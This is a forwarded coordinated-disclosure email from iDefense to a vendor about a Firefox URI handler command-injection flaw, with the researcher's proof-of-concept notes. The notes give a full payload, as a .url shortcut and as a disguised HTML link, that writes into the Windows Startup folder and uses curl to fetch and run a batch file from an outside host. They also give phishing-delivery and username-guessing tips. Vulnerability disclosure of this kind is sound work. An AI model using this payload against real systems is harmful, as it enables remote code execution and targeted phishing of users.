The following email received from firstname.lastname@example.org
-------- Forwarded Message --------
Subject: Fwd: iDefense Vendor Notification - [V-bsk2ottbf1]
Date: Fri, 9 Aug 2019 17:51:29 +0000
From: Vendor Disclosure <email@example.com>
To: firstname.lastname@example.org <email@example.com>
CC: Vendor Disclosure <firstname.lastname@example.org>
Please find the attached report and PoC for this issue.
-------- Forwarded Message --------
Subject: iDefense Vendor Notification - [V-bsk2ottbf1]
Date: Fri, 9 Aug 2019 17:48:58 +0000
From: email@example.com <firstname.lastname@example.org>
iDefense has identified a vulnerability. This vulnerability was submitted to iDefense through our Vulnerability Contributor Program:
iDefense Labs has validated this vulnerability and has drafted the attached advisory.Additionally, proof-of-concept code is available on request.
IMPORTANT: Please be sure to copy at least one of the '[V-bsk2ottbf1]' number(s) from this email's subject line into the subject for any emails sent as a reply.
Omission of this information from the subject line will cause emails sent by you to be automatically deleted when processed by the iDefense email SPAM
In accordance with our vendor disclosure policy
( https://vcp.idefense.com/assets/VCP_Responsible_Disclosure_Policy_4_23_18.pdf ),
we request that you acknowledge receipt of this initial notification within five business days.Our intent is to begin the process of coordinating an appropriate public disclosure date for this issue that will provide your company with adequate time to develop a patch or workaround to mitigate this vulnerability. If you have questions regarding this issue or require further details to assist with your analysis, please do not hesitate to contact us.
It is always our goal to coordinate on the public disclosure of patches/advisories as quickly as possible after a vulnerability is discovered.If, however, a reasonable time-frame cannot be agreed upon for this issue,it will be publicly released in 60 days on 10/08/2019
iDefense is willing to work with a vendor to find a mutually agreeable release date beyond this time-frame so long as the vendor continues to make good faith
efforts to produce patches in a timely fashion and regularly informs iDefense of their progress in doing so.
Please note that if the affected product is included within other applications and/or operating systems, iDefense will not be coordinating disclosure of the vulnerability to affected third parties. We ask that you handle this coordination separately.
iDefense Vendor Liaison
Submissions included in this notification:
V-bsk2ottbf1 : Mozilla Firefox URI Handler Command Injection Vulnerability (iDefense Zero Day)
See the attached files for details regarding the above submissions.
The attached text file, V-bsk2ottbf1.txt, contains:
iDefense VCP Submission V-bsk2ottbf1
Mozilla Firefox URI Handler Command Injection Vulnerability (iDefense Zero Day)
Remote exploitation of an input validation vulnerability in Mozilla Foundation's Firefox could allow an attacker to execute arbitrary code with the privileges of the current user.
An input validation vulnerability has been identified in Firefox. Specifically, the error occurs in the URI Handler component in the way it improperly sanitizes MOZ_LOG and MOZ_LOG_FILE arguments. This can lead to command injection attacks.
Ping Fan (Zetta) Ke of VXRL working with iDefense Labs (https://vcp.idefense.com/)
Attached PoC.zip contains notes.text and a firefox.htm PoC file. Notes.text states:
Firefox URI Handler RCE
== Update 1 ==
I have checked the payload with the recent version 68 (instead of 67 in PoC) and found that the exploit is not very stable. In many cases the user has to manually kill the Firefox process in order to write the payload into the start up folder properly. However, one can simply add the -P argument (or -profile or -migration) to force Firefox to peacefully shut down, but the tradeoff is the user will see a message box regarding import profile. Yet, the benefit of using this -P argument is even if the user is running Firefox, he or she will still get infected, which is not the case with the previous payload.
-- Steps to reproduce the payload --
To reproduce, one can simply create a .url shortcut:
FirefoxURL-308046B0AF4A39CB:" -P -MOZ_LOG=raw,Widget:4 -MOZ_LOG_FILE="C:/Users/IEUser/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/&cd ..&cd ..&cd Users&cd Public&curl -o z.bat poc.mm2.in&z.bat
The additional -P argument makes the exploit more reliable, and note that one need to change
IEUser to the victim's Windows user name. This requires addition information gathering on the user's profile.
Alternatively, one can leverage certain Windows Apps like Microsoft Outlook as shown in the PoC video. To reproduce like in the PoC video, send the following htm file as attachment to the victim:
<a href='FirefoxURL-308046B0AF4A39CB:" -P -MOZ_LOG=raw,Widget:4 -MOZ_LOG_FILE="C:/Users/IEUser/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/&cd ..&cd ..&cd Users&cd Public&curl -o z.bat poc.mm2.in&z.bat'>Import Bookmark to Firefox</a>
The victim will then open the htm file in preview mode, so that the payload should be shown in Outlook instead of the default browser. Then if the victim click on the link, it will trigger the exploit.
-- Technical detail --
This exploit is chaining two features, argument injection (e.g. CVE-2018-1000006) and writing executable file in start up directory (e.g. CVE-2018-20250). Interestingly, Firefox has an argument injection vulnerability in 12 years ago (CVE-2007-3670), and fixed with the additional flag -osint (e.g. in nsAppRunner.cpp). However, the recent -MOZ_LOG and -MOZ_LOG_FILE arguments do not have checking with the -osint flag (in LogCommandLineHandler.cpp), causing this vulnerability to resurrect.
The -MOZ_LOG and -MOZ_LOG_FILE allow arbitrary log file writing in arbitrary location, but the payload has to be crafted carefully in order to have meaningful code execution. Fortunately, the
Widget log module will record the file access activities, so one could reflectively write the payload in the file name to do arbitrary code execution. In the example payload, it uses the built-in curl to download the payload from poc.mm2.in (which is just calc), and write to the Public folder and execute it.
The major browsers have already encode the URL when executing (e.g. " becomes %22), so if one open the htm payload with Chrome or Firefox itself, it will not trigger the exploit. Yet, many Windows Apps (e.g. Microsoft Office) do not do the encoding as the custom URIs are used for IPC, so it still have a great opportunity to launch such an attack.
On the other hand, unlike CVE-2018-20250, the execution base of Firefox is not in a user folder, so using directory traversal trick to write in start up is not feasible. Using variable such as %APPDATA% is also not working unlike CVE-2018-8311. So one need to guess the Windows username. In many organizations like the universities that I have worked in, the Windows username is simply the email address name. As the payload is delivered through email, attackers could target employees in an organization if they could gather the email information.